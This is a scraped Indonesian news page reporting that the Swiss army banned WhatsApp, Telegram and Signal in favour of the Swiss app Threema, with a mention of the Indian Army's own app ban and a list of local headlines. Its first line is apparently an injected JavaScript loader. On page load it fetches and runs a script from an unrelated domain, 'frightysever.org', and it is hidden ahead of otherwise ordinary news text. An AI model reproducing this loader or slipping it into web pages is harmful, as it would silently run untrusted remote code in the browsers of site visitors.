(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Teknologi

Tentara Swiss Dilarang Pakai WhatsApp, Telegram, dan Signal, Kenapa?


KANALKALIMANTAN.COM – Tentara Swiss dilarang menggunakan aplikasi perpesanan populer seperti WhatsApp, Telegram, hingga Signal. Alasannya, ketiga aplikasi tersebut dianggap kurang aman.

Kebijakan ini diterapkan lantaran regulator Amerika Serikat memiliki kewenangan untuk mengakses data yang disimpan perusahaan di bawah yurisdiksi AS. Aturan ini tertuang dalam US Cloud Act atau Undang-Undang tentang Cloud di Amerika Serikat.

“Cloud Act mewajibkan penyedia layanan di bawah yurisdiksi AS untuk mematuhi perintah penggeledahan, di manapun server mereka berada,” kata aturan tersebut, dikutip dari Gadgetsnow, Minggu (9/1/2022).

Sebagai pengganti, tentara Swiss bakal menggunakan layanan perpesanan bernama Threema. Dikarenakan Threema berbasis di Swiss, maka perusahaan tidak memiliki kewajiban untuk mematuhi aturan tersebut.

 

Ilustrasi aplikasi Telegram. Foto : Yuri Kadobnov/AFP

Baca juga : Shalika Aurelia, Pesepakbola Wanita Pertama Indonesia di Klub Eropa

Threema juga beroperasi sesuai dengan aturan General Data Protection Regulation atau Regulasi Perlindungan Data Pribadi milik Uni Eropa.

WhatsApp sendiri menjadi aplikasi perpesanan paling populer untuk pengguna berusia 16-64 tahun di Swiss.

Tak hanya militer Swiss, negara lain juga menerapkan hal ini. Angkatan Darat India misalnya, mereka meminta para personil untuk menghapus 89 aplikasi seperti Facebook, PUBG, Zoom, Instagram, Snapchat, TikTok, dan lainnya.

Sebagai pengganti, tentara Angkatan Darat India kini meluncurkan aplikasi perpesanan yang disebut Army Secure IndiGeneous Messaging Application atau ASIGMA. (Suara.com)

Editor : Suara


Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

1 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

2 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

3 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

3 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

3 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

4 jam ago

This website uses cookies.